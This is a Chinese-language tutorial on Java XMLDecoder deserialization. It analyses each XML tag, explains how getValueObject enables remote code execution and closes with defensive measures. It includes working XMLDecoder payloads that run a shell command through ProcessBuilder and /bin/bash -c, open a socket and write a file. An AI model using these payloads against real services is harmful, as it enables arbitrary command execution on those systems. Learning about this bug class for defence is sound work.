XMLDecoder语法分析教学文档

1. XMLDecoder概述

XMLDecoder是Java中用于将XML编码的数据转换为Java对象的工具，它通过解析特定的XML格式来重建Java对象。然而，由于其设计特性，它也成为了一种潜在的安全风险，可能导致远程代码执行(RCE)漏洞。

2. 核心标签分析

2.1 <java>标签

• 属性: class、id、version
• 功能:
  • 可以加载类：this.type = this.getOwner().findClass(var2)
  • 标签之间的基础数据会写入DocumentHandler中的objects
  • 返回值: 基础数据值或XMLDecoder对象

2.2 <array>标签

• 属性: length、class、id
• 功能:
  • 可加载类(继承于NewElementHandler)
  • 返回值: Array类对象
• 示例:

  <array class="test">
  </array>
  

2.3 <class>标签

• 属性: 无，值写在标签间
• 功能:
  • 可加载类
  • 返回值: Class对象
• 示例:

  <class>test</class>
  

2.4 <object>标签

• 属性: class、method、property、field、index、id、idref
• 功能:
  • 可加载类
  • 可以实例化对象并调用方法
  • 返回值: 实例化对象
• 关键方法:

  protected final ValueObject getValueObject(Class<?> var1, Object[] var2) throws Exception {
    // 实例化对象或调用方法
  }
  

2.5 <void>标签

• 属性: 同<object>标签
• 功能:
  • 继承于object，与object有极大的相似性
  • 无论什么形式，都会进入object标签的getValueObject方法
  • 返回值: 空

2.6 <new>标签

• 属性: class、id
• 功能:
  • 可加载类
  • 可以实例化类
  • 返回值: 类对象
• 示例:

  <new class="java.lang.ProcessBuilder">
    <!-- 构造参数 -->
  </new>
  

2.7 <field>标签

• 属性: class、name、id
• 功能:
  • 可加载类
  • 获取字段值
  • 返回值: 变量对应的对象值
• 示例:

  <field class="test" name="hhh"></field>
  

2.8 <method>标签

• 属性: class、name、id
• 功能:
  • 可加载类
  • 调用方法
  • 返回值: 调用函数的返回值
• 示例:

  <method name="start"></method>
  

2.9 <property>标签

• 属性: index、name、id
• 功能:
  • 不可加载类
  • 调用setXXX和getXXX方法
  • name用作索引类中的成员变量
• 示例:

  <property name="xixixi">
    <string>open /etc</string>
  </property>
  

2.10 <byte>标签

• 特殊说明:
  • 传入byte[]类型时，class应为"byte"而非"java.lang.Byte"
• 示例:

  <array class="byte" length="2">
    <void index="0">
      <byte>49</byte>
    </void>
  </array>
  

3. XML基本语法规则

1. 每个元素代表一个方法调用
2. 包含元素的元素将这些元素用作参数，除非它们具有"void"标签
3. 方法名称由"method"属性表示
4. 使用"id"和"idref"属性引用先前的表达式
5. 使用"array"标记写入对数组的引用，"class"和"length"属性分别指定数组的子类型及其长度

4. 漏洞触发原理

XMLDecoder漏洞主要在getValueObject方法触发，关键点包括：

• 可以任意加载类
• 可以实例化对象
• 可以调用任意方法
• 可以传递任意参数

5. 利用示例

5.1 执行命令

<object class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
        <void index="0">
            <string>/bin/bash</string>
        </void>
        <void index="1">
            <string>-c</string>
        </void>
        <void index="2">
            <string>open /Applications/Calculator.app</string>
        </void>
    </array>
    <void method="start"/>
</object>

5.2 使用套接字

<object class="java.net.Socket">
    <string>127.0.0.1</string>
    <int>6666</int>
    <void method="getOutputStream">
        <void method="write">
            <array class="byte" length="2">
                <void index="0">
                    <byte>49</byte>
                </void>
                <void index="1">
                    <byte>49</byte>
                </void>
            </array>
        </void>
    </void>
</object>

5.3 创建文件并写入

<object class="java.io.PrintWriter">
    <void class="java.io.FileOutputStream">
        <string>2.txt</string>
    </void>
    <string>2.txt</string>
    <void method="print">
        <string>xmldecoder_vul_test</string>
    </void>
    <void method="close"/>
</object>

6. 防御措施

1. 避免反序列化不受信任的数据
2. 使用白名单限制可反序列化的类
3. 升级到最新版本的Java，其中包含对XMLDecoder的安全改进
4. 使用替代的、更安全的序列化机制

7. 关键点总结

1. XMLDecoder通过解析特定格式的XML来重建Java对象
2. <object>、<new>、<method>等标签可以导致任意代码执行
3. 漏洞主要在getValueObject方法触发
4. 利用时需要构造特定的XML结构来加载类、实例化对象并调用方法
5. 攻击者可以完全控制类加载、对象实例化和方法调用过程

通过深入理解XMLDecoder的工作原理和标签特性，可以更好地防御相关安全风险，同时在必要时安全地使用这一功能。